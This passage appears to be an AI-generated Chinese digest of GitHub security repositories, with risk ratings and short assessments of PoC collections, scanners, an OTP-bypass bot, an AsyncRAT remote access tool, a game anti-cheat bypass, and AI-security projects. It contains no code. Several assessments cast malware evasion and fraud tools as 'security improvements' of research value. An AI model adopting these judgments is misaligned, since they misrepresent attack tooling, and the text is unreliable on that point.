该漏洞允许攻击者利用服务端请求伪造进行信息泄露或内部系统访问,属于安全漏洞信息的补充。
更新内容主要为漏洞收录与描述,无直接的漏洞利用代码或扫描工具。
🎯 受影响组件
• 漏洞汇总页面
• Apache CXF框架相关服务
⚡ 价值评估
展开查看详细评估
最新增加的Apache CXF SSRF漏洞条目为安全研测和漏洞分析提供重要资料,涉及潜在的系统安全风险,符合安全内容更新标准。
Awesome-POC - 漏洞PoC知识库收集平台
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Awesome-POC |
| 风险等级 | HIGH |
| 安全类型 | 漏洞利用/安全研究 |
| 更新类型 | SECURITY_CRITICAL |
📊 代码统计
- 分析提交数: 2
- 变更文件数: 6
💡 分析概述
收录了大量网络安全漏洞PoC,包括远程执行、反序列化等漏洞的利用信息和POC代码,内容涉及安全漏洞利用和安全防护相关技术。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 漏洞PoC知识库收集平台,包含多个安全漏洞的利用代码和PoC实例 |
| 2 | 更新新增了Jboss反序列化漏洞(CVE-2017-12149)、Apache CXF SSRF漏洞(CVE-2024-28752)等安全漏洞PoC |
| 3 | 涉及内容包括远程代码执行、反序列化、SSRF等高危安全漏洞利用方式 |
| 4 | 影响包括多个中间件、开源软件,提供漏洞复现和利用教程,具有较高安全价值 |
🛠️ 技术细节
技术实现涉及Java反序列化、SSRF攻击向量与利用脚本、远程命令执行POC等
这些PoC能帮助安全研究人员验证漏洞存在及开发防护措施,具有重要实战价值
🎯 受影响组件
• Jboss应用服务器
• Apache CXF服务
• Webmin管理平台
• Jenkins自动化服务器
⚡ 价值评估
展开查看详细评估
仓库收录了多种高危安全漏洞的详细PoC和利用技术,涵盖远程代码执行、反序列化漏洞等关键安全问题,具有极高的安全研究和防御价值
Slack - 安全工具集成化平台
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Slack |
| 风险等级 | MEDIUM |
| 安全类型 | 安全修复/安全研究 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 1
💡 分析概述
该仓库为安全服务集成工具集,最新更新修复了路由问题并新增POC指纹显示功能,可能涉及漏洞检测或利用相关内容。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 安全工具集成平台 |
| 2 | 修复了路由问题并添加POC指纹不显示的修复 |
| 3 | 修复内容可能与安全检测或漏洞验证有关 |
| 4 | 涉及安全功能改进,提升漏洞检测效果 |
🛠️ 技术细节
修复了路由配置错误,确保工具正常运行
添加了POC指纹显示,可能增强漏洞验证能力
安全影响:改善漏洞检测流程,提升识别效率
🎯 受影响组件
• 路由系统
• POC指纹识别模块
⚡ 价值评估
展开查看详细评估
新增POC指纹显示功能,有助于漏洞验证和安全检测,属于安全工具核心功能改进。
-VIP- - VIP视频平台解析与安全防护工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | -VIP- |
| 风险等级 | HIGH |
| 安全类型 | 安全防护/安全研究 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 1
💡 分析概述
该项目提供VIP视频解析工具,支持多平台,具备安全监控与防跳转机制,提升安全性。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 支持多平台VIP视频解析 |
| 2 | 增加安全防护机制,监控非法跳转 |
| 3 | 实现安全警报与重置播放器功能 |
| 4 | 可能用于规避平台反盗链或内容保护措施 |
🛠️ 技术细节
引入安全监控与跳转阻止逻辑,实时检测非法请求
利用前端脚本实现跳转限制与异常行为捕获
增强了播放安全性,防止恶意跳转与内容盗用
🎯 受影响组件
• 视频播放模块
• 安全监控系统
• 行为检测与警报机制
⚡ 价值评估
展开查看详细评估
项目新增安全防护功能,监控非法跳转和行为,为安全研究提供追踪平台,具备漏洞利用或安全检测价值。
Binary-Security - 二进制安全学习资料与工具集合
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Binary-Security |
| 风险等级 | MEDIUM |
| 安全类型 | 漏洞分析/安全研究 |
| 更新类型 | SECURITY_RESEARCH |
📊 代码统计
- 分析提交数: 4
- 变更文件数: 5
💡 分析概述
该仓库主要收集二进制安全相关的学习资料、工具和文档,包括漏洞分析、CVE复现指南、二进制文件结构知识等。此次更新新增了CVE漏洞分析资料和相关文档,提供漏洞复现、工具使用与技术学习内容。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 收集并分享二进制安全学习资料和工具 |
| 2 | 新增CVE漏洞分析和复现指南 |
| 3 | 提供ELF文件结构、安全相关笔记 |
| 4 | 影响面主要为安全学习与研究资料 |
🛠️ 技术细节
未直接包含漏洞利用代码,但新增了漏洞分析与复现文档,有助于安全研究。
整合了关于ELF文件格式、二进制结构和漏洞复现的内容,有助于安全工具开发和漏洞分析。
提供的内容为安全研究资料,不涉及主动漏洞攻击或防护措施。
🎯 受影响组件
• 二进制文件结构解析
• 漏洞分析与复现流程
• 安全研究资料库
⚡ 价值评估
展开查看详细评估
新加入的漏洞分析资料和CVE复现内容对安全研究具有一定价值,虽不包含直接的漏洞利用代码,但能提升学习和研究能力,符合安全相关内容更新的价值判定。
Rebel-OtpBot-Twillo-Bypass-Paypal-2fa-80-Country-Usa - 针对OTP系统的绕过工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Rebel-OtpBot-Twillo-Bypass-Paypal-2fa-80-Country-Usa |
| 风险等级 | HIGH |
| 安全类型 | 漏洞利用 |
| 更新类型 | SECURITY_CRITICAL |
📊 代码统计
- 分析提交数: 5
💡 分析概述
该仓库旨在通过自动化工具绕过多平台的OTP验证,包括PayPal在内,涉及OTP安全漏洞利用。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 安全漏洞利用及绕过OTP验证的方法 |
| 2 | 更新内容涉及OTP绕过技术的改进或实现 |
| 3 | 直接针对OTP安全系统存在漏洞的利用手段 |
| 4 | 影响支付平台和多种支持2FA的服务 |
🛠️ 技术细节
利用自动化脚本或工具实现OTP验证码绕过,可能结合平台特定的弱点或漏洞
具有潜在的安全风险,可能被用于非法入侵或绕过二次验证机制
🎯 受影响组件
• OTP验证系统
• 多平台二次验证机制(如PayPal、Telegram、Discord等)
⚡ 价值评估
展开查看详细评估
仓库提供了针对OTP验证绕过的具体实现,可能包含漏洞利用代码,直接关系到2FA安全,具备渗透测试价值。
VHostScan - 虚拟主机扫描与识别工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | VHostScan |
| 风险等级 | MEDIUM |
| 安全类型 | 渗透测试工具/安全研究 |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 17
💡 分析概述
该仓库为一个虚拟主机扫描工具,主要用于检测和识别目标网站的虚拟主机配置,支持多种扩展词库与反制策略,强调利用安全漏洞和渗透测试技术。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 核心功能为虚拟主机发现和识别,结合反向查找和catch-all场景检测 |
| 2 | 包含多样化、专业化的安全研究词库(如云服务、渗透测试、常用虚拟主机名列表) |
| 3 | 设计目标用于安全渗透测试与漏洞挖掘,能辅助识别潜在配置错误或安全漏洞 |
| 4 | 与搜索关键词“security tool”高度相关,提供实用的安全检测与漏洞利用场景 |
🛠️ 技术细节
采用Python实现,使用dns解析、HTTP请求等技术实现虚拟主机识别流程
支持多种字典扩展和内容匹配技术,具备内容相似性比较(fuzzy logic)和反查能力
涵盖检测catch-all配置、别名、动态内容等安全研究中常见的场景
配备丰富、专业化的拓展词库,增强识别能力,支持安全漏洞预演
🎯 受影响组件
• Web服务器配置(虚拟主机配置漏洞检测)
• DNS解析与反查系统
• 内容匹配与异常检测子系统
⚡ 价值评估
展开查看详细评估
该仓库不仅提供实用的虚拟主机检测工具,还集成了大量专业化的安全词库和内容匹配技术,符合渗透测试和安全研究的价值导向。其扩展词库和检测策略对于识别配置错误、隐藏目标具有较高价值,相关性与搜索关键词高度契合。
GraphAudit - 微软Entra ID安全审计工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | GraphAudit |
| 风险等级 | HIGH |
| 安全类型 | 安全修复/安全研究 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 5
💡 分析概述
该仓库用于检测Microsoft Entra ID中存在的风险和配置错误,新增检测第三方应用潜在滥用的能力。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 用于微软Entra ID的安全风险检测 |
| 2 | 新增第三方应用被滥用的检测脚本 |
| 3 | 检测内容涉及第三方应用权限及滥用潜在风险 |
| 4 | 影响Microsoft Entra ID中的应用权限和账户安全 |
🛠️ 技术细节
通过Graph API查询Service Principal、应用权限分配和目录角色实现风险检测
新增检测针对未知第三方应用的潜在滥用,防止被利用进行权限篡改
🎯 受影响组件
• Microsoft Entra ID的应用和权限管理模块
• Graph API调用及权限验证逻辑
⚡ 价值评估
展开查看详细评估
新增第三方应用滥用检测增强了对潜在安全风险的识别能力,特别关注滥用客户端凭证的场景,有效提升Entra ID的安全防护水平。
AsyncRAT-Fud-Fixed-Dll-Remote-Administration-Tool-New - 远程控制工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | AsyncRAT-Fud-Fixed-Dll-Remote-Administration-Tool-New |
| 风险等级 | MEDIUM |
| 安全类型 | 安全修复/安全研究 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 5
💡 分析概述
该仓库为AsyncRAT远程访问工具,最新更新修复DLL安全缓解措施,增强其隐蔽性和安全性。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 远程控制和管理远程计算机 |
| 2 | 修复DLL相关安全漏洞或强化DLL加载机制 |
| 3 | 安全相关变更包括增强隐蔽性和抗检测能力 |
| 4 | 影响涉及远控通信和DLL加载安全性 |
🛠️ 技术细节
更新可能涉及DLL文件安全缓解措施,强化加密通信或绕过检测手段
提高控制工具的抗检测/抗检测能力,可能影响安全检测的效果
🎯 受影响组件
• DLL加载机制
• 通信加密协议
• 远程控制模块
⚡ 价值评估
展开查看详细评估
更新涉及DLL安全缓解措施,有助于提高远控工具隐藏性和抗检测能力,具有一定的安全防护和潜在利用价值
PUBG-Mobile-Bypass-Antiban-BRAVE-Bypass-fixed - 破解PUBG Mobile安全措施的工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | PUBG-Mobile-Bypass-Antiban-BRAVE-Bypass-fixed |
| 风险等级 | HIGH |
| 安全类型 | 漏洞利用/安全研究 |
| 更新类型 | SECURITY_CRITICAL |
📊 代码统计
- 分析提交数: 5
💡 分析概述
该仓库旨在绕过PUBG Mobile的安全防护措施,允许玩家进行匹配,影响游戏公平性。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 工具用于绕过PUBG Mobile的安全验证机制 |
| 2 | 更新内容涉及绕过反作弊系统的手段 |
| 3 | 安全相关变更为突破游戏反作弊的措施 |
| 4 | 可能被用于作弊或破坏游戏环境 |
🛠️ 技术细节
采用特定技术规避游戏的反作弊检测,可能涉及代码修改或漏洞利用
安全影响主要在于破坏游戏的公平性和反作弊机制的完整性
🎯 受影响组件
• PUBG Mobile的反作弊系统
• 游戏客户端验证机制
⚡ 价值评估
展开查看详细评估
该项目明确包含绕过游戏安全措施的技术,直接涉及利用方法和安全规避,符合对安全漏洞利用和反作弊规避的定义。
PyRIT - 生成式AI风险检测框架PyRIT的安全相关更新
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | PyRIT |
| 风险等级 | CRITICAL |
| 安全类型 | 安全修复/安全工具/安全研究 |
| 更新类型 | SECURITY_IMPROVEMENT |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 17
💡 分析概述
此次更新主要添加了MedSafetyBench数据集,优化了安全检测和行为分析能力,同时引入了问答基准测试策略和安全功能扩展,增强了对潜在风险和滥用行为的检测手段。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 引入MedSafetyBench数据集,用于检测医疗相关风险和滥用行为 |
| 2 | 新增问答基准测试策略,提升对AI问答系统的安全评估能力 |
| 3 | 扩展了对恶意行为和安全漏洞的检测工具和框架 |
| 4 | 增强安全检测范围和覆盖面,支持多样化评估场景 |
🛠️ 技术细节
加载并整合MedSafetyBench数据集,为模型提供更多安全风险训练和验证资源
在问答评估中加入丰富的检测策略,提高对潜在危险行为的识别效率
增强数据导出模块支持Markdown格式,便于安全报告和日志分析
优化代码结构以支持更全面的安全内容检测,包括行为偏差和滥用检测
🎯 受影响组件
• 数据集加载和管理模块
• 安全检测和行为评估模块
• 问答基准测试策略
• 安全报告和日志输出工具
⚡ 价值评估
展开查看详细评估
此次更新显著增强了PyRIT在生成式AI安全检测中的能力,添加了针对医疗和行为安全的风险识别资源,并改进了安全评估工具,有效提升风险预警和防护水平。
ReconMaster - Web漏洞识别与测试框架
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | ReconMaster |
| 风险等级 | MEDIUM |
| 安全类型 | 渗透测试工具/安全研究 |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 1
💡 分析概述
ReconMaster是一个模块化的渗透测试框架,集成端口扫描、目录爆破、SQL注入和LFI扫描,重点在于自动化信息收集及漏洞验证,支持详细报告生成。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 集成端口、Web内容、SQL注入、LFI漏洞检测功能 |
| 2 | 支持多技术链路的自动化渗透测试,强调信息收集和验证 |
| 3 | 提供系统化的测试结果和详细日志,适用于安全研究和漏洞验证 |
| 4 | 与搜索关键词'security tool'高度相关,专注于渗透测试与漏洞挖掘 |
🛠️ 技术细节
采用Nmap进行端口和服务检测,结合目录爆破技术自动发现潜在漏洞点
实现多种注入检测技术(SQLi、LFI),跟踪OWASP测试指导,具有较强的实用性
提供脚本化的结果输出和结构化报告,便于安全研究与漏洞分析
🎯 受影响组件
• Web应用系统
• HTTP服务及相关输入点(GET/POST参数、Cookies、Headers)
⚡ 价值评估
展开查看详细评估
该仓库具有完整的漏洞识别流程,与安全研究和渗透测试密切相关,包含漏洞验证方法和实用的自动化功能,符合高价值渗透工具的标准。同时内容丰富,覆盖多技术点,符合搜索关键词'security tool'的预期价值。
AI_B-SAFE - 结合AI (NLP/机器学习)的安全分析工具
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | AI_B-SAFE |
| 风险等级 | HIGH |
| 安全类型 | 安全研究 |
📊 代码统计
- 分析提交数: 2
- 变更文件数: 13
💡 分析概述
该仓库利用AI技术(包括自然语言处理和机器学习)应用于安全框架,旨在辅助安全研究、漏洞检测与渗透测试相关任务,包含实质技术内容与研究方法。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 集成AI(NLP和机器学习)技术用于安全分析与检测 |
| 2 | 提供与安全研究、漏洞利用相关的算法或技术实现 |
| 3 | 强调AI在安全领域的应用创新与研究价值 |
| 4 | 与“AI Security”关键词高度相关,核心功能支持安全攻防、漏洞检测和渗透测试 |
🛠️ 技术细节
基于AI(OpenAI接口)结合安全数据进行自然语言处理与模型调用
实现安全事件信息的分析、漏洞利用的辅助方案
采用深度学习和机器学习模型协助安全检测和风险评估
具有实战研究性质,注重技术内容的深度和实用性
🎯 受影响组件
• 安全检测模块
• 漏洞利用辅助系统
• 安全事件分析流程
• 智能安全研究平台
⚡ 价值评估
展开查看详细评估
仓库核心利用AI(NLP和ML技术)在安全分析中的创新方法,包含实质性技术实现和安全研究应用,符合搜索“AI Security”的核心精神,提供了较高的安全研究价值。
HackGpt - 基于AI的渗透测试平台核心功能
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | HackGpt |
| 风险等级 | CRITICAL |
| 安全类型 | 漏洞利用/安全研究/渗透测试 |
📊 代码统计
- 分析提交数: 5
- 变更文件数: 35
💡 分析概述
HackGPT Enterprise是一个融合AI、机器学习与安全框架的企业级渗透测试平台,强调利用AI进行漏洞检测、自动化攻击、行为分析,提供实质性技术内容。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 核心采用AI驱动的漏洞检测与利用机制,结合机器学习实现行为异常识别。 |
| 2 | 安全相关特性包括企业认证、多框架合规、风险评估与报告自动化。 |
| 3 | 技术内容丰富,涵盖AI模型集成、微服务架构、安全框架映射、漏洞利用代码、自动化检测算法。 |
| 4 | 与搜索关键词AI Security高度相关,聚焦AI在安全攻防中的应用与创新。 |
🛠️ 技术细节
集成OpenAI GPT-4、Local LLM、TensorFlow、PyTorch,通过AI模型提供漏洞识别与决策支持。
采用微服务架构(Docker、Kubernetes)、异步处理(Celery)、大规模数据分析(Elasticsearch、Grafana)实现性能与可扩展性。
实现实质性技术内容,包括漏洞利用代码、行为分析、风险评估模型、自动化攻击流程,非仅文档或基础工具。
结合AI驱动的漏洞利用、模式识别、攻击链分析,提供创新的安全研究方法。
🎯 受影响组件
• AI引擎(自然语言处理、机器学习模型)
• 渗透测试自动化模块(漏洞利用、检测算法)
• 微服务架构(Docker、Kubernetes、服务注册与发现)
• 安全框架(合规映射、风险评估)
• 自动化报告与仪表盘(WebSocket、Grafana、ELK)
⚡ 价值评估
展开查看详细评估
仓库充分利用AI技术构建面向渗透测试的创新平台,核心功能紧扣AI Security,内容技术含量高,贡献技术价值。排除只能自动更新恶意IP列表的仓库,符合渗透测试和安全研究的高价值需求。
Using-AIML-Face-recognition-attendance-system - 基于AI的面部识别考勤系统
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | Using-AIML-Face-recognition-attendance-system |
| 风险等级 | MEDIUM |
| 安全类型 | 安全研究 |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 3
💡 分析概述
该仓库实现了利用AI与计算机视觉进行自动面部识别、签到及记录功能,具备安全检测的初步应用潜力,主要以渗透测试和安全研究为目的开发。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 核心功能:面部识别实现自动签到和考勤管理 |
| 2 | 技术特征:使用face_recognition库进行面部识别和数据库匹配 |
| 3 | 研究价值:可用于安全验证方案或面部识别攻防测试 |
| 4 | 相关性说明:关键词'AI Security'反映系统采用AI进行安全验证,且具备一定的安全检测考量 |
🛠️ 技术细节
采用Python结合OpenCV、face_recognition库实现面部识别,集成视频捕获与图片存储机制
实现中没有直接涉及安全机制防护,但可作为面部识别安全研究的基础模型,用于后续安全检测或漏洞挖掘
🎯 受影响组件
• 摄像头采集模块
• 面部识别核心算法
• 考勤数据存储与处理
⚡ 价值评估
展开查看详细评估
项目核心在于实现面部识别技术,符合安全研究及渗透测试中验证面部识别系统安全性需求,且代码技术较为完整,技术内容实质,符合以安全研究为主要目的的特征。
AI-Powered-IoT-Security-Unified-Detection-Deception-and-Automated-Remediation-V.A.J.R.A.- - 结合AI的IoT安全监测与响应框架
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | AI-Powered-IoT-Security-Unified-Detection-Deception-and-Automated-Remediation-V.A.J.R.A.- |
| 风险等级 | MEDIUM |
| 安全类型 | 漏洞利用/安全研究/渗透测试工具 |
📊 代码统计
- 分析提交数: 3
- 变更文件数: 35
💡 分析概述
该仓库实现了基于AI的IoT设备安全监测、漏洞检测、威胁响应和自动化防御策略,支持蜜罐、漏洞扫描、威胁分析等技术,为渗透测试与红队攻防提供实质性工具和研究内容。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 融合AI技术实现IoT网络的安全检测、威胁识别和自主响应 |
| 2 | 提供漏洞利用检测、蜜罐模拟和威胁情报分析功能 |
| 3 | 实现自动化响应和修复机制,提升安全攻防的自动化水平 |
| 4 | 与“AI Security”关键词高度相关,核心在安全研究和漏洞利用,具备实质技术内容 |
🛠️ 技术细节
采用Python编写,集成多个模块:蜜罐模拟、漏洞利用POC、威胁检测、自动化响应、威胁情报同步
利用HTTP/Socket等协议模拟攻击场景,自动化识别IoT设备漏洞和异常行为
支持漏洞扫描和威胁分析,结合AI模型或规则进行设备威胁等级评估,有一定创新的安全检测与响应策略
🎯 受影响组件
• IoT设备模拟环境
• 漏洞检测与利用模块
• 威胁情报采集与分析系统
• 自动化响应和修复机制
⚡ 价值评估
展开查看详细评估
该仓库围绕AI驱动的IoT安全研究,内容丰富,包含实质性的漏洞利用、威胁检测、自动响应技术,核心在安全漏洞利用与防护,完全符合安全研究与渗透测试的价值标准。
gcp-mcp - 支持GCP日志分析与监控的安全渗透工具集
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | gcp-mcp |
| 风险等级 | HIGH |
| 安全类型 | 漏洞利用/安全研究/渗透测试 |
📊 代码统计
- 分析提交数: 3
- 变更文件数: 58
💡 分析概述
该仓库提供多种工具用于GCP日志查询、安全分析、错误检测,核心关注在云安全监控漏洞利用与安全研究,实现了丰富的日志分析与安全检测功能,且支持多项目环境,具有实质性技术内容。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 集成16个专用日志分析与监控工具,支持安全漏洞检测与利用 |
| 2 | 实现多项目安全监控、异常检测和漏洞利用的技术特性 |
| 3 | 收集GCP安全研究、漏洞利用实证资料,提供安全分析能力 |
| 4 | 与‘AI Security’关键词高度相关,聚焦云安全漏洞利用与渗透研究 |
🛠️ 技术细节
采用异步Python实现,结合多种API和工具集成,具备安全检测、日志分析、漏洞利用等技术方案
实现企业级安全机制,具有输入验证、权限管理,支持安全漏洞探索与利用,配置了多层安全防护机制
🎯 受影响组件
• GCP云平台服务(日志、监控、错误报告)、安全漏洞利用模块、日志分析引擎
⚡ 价值评估
展开查看详细评估
仓库深入集成GCP安全相关API,提供实质性漏洞利用代码与安全检测方案,内容丰富且具创新性,明显体现安全研究和漏洞利用目的,与‘AI Security’关键词高度契合,优势在于实用性和技术深度。
meta-ai-bug-bounty - Instagram群聊安全漏洞报告
📌 仓库信息
| 属性 | 详情 |
|---|---|
| 仓库名称 | meta-ai-bug-bounty |
| 风险等级 | HIGH |
| 安全类型 | 漏洞利用/安全研究 |
| 更新类型 | SECURITY_CRITICAL |
📊 代码统计
- 分析提交数: 1
- 变更文件数: 1
💡 分析概述
该仓库为Meta AI在Instagram群聊中的安全漏洞报告,重点揭示了提示注入和命令执行漏洞。
🔍 关键发现
| 序号 | 发现内容 |
|---|---|
| 1 | 分析了Instagram群聊中的安全风险 |
| 2 | 揭示了提示注入和命令执行漏洞 |
| 3 | 涉及AI相关安全威胁 |
| 4 | 安全影响重大,可能被远程利用 |
🛠️ 技术细节
针对Meta AI的Instagram群聊功能,发现存在提示注入和命令执行漏洞,可能被恶意用户利用进行远程代码执行或数据篡改。
漏洞可能源于对输入内容的不充分验证,导致AI模型被诱导产生有害输出或执行未授权操作。
安全影响包括可能导致账户控制、敏感信息泄露及钓鱼攻击。
🎯 受影响组件
• Instagram的AI聊天模块
• 群聊中的用户输入验证机制
⚡ 价值评估
展开查看详细评估
该仓库汇报了关键的AI相关安全漏洞,涉及提示注入和命令执行,具有高度的安全风险和实用价值。
免责声明
本文内容由 AI 自动生成,仅供参考和学习交流。文章中的观点和建议不代表作者立场,使用本文信息需自行承担风险和责任。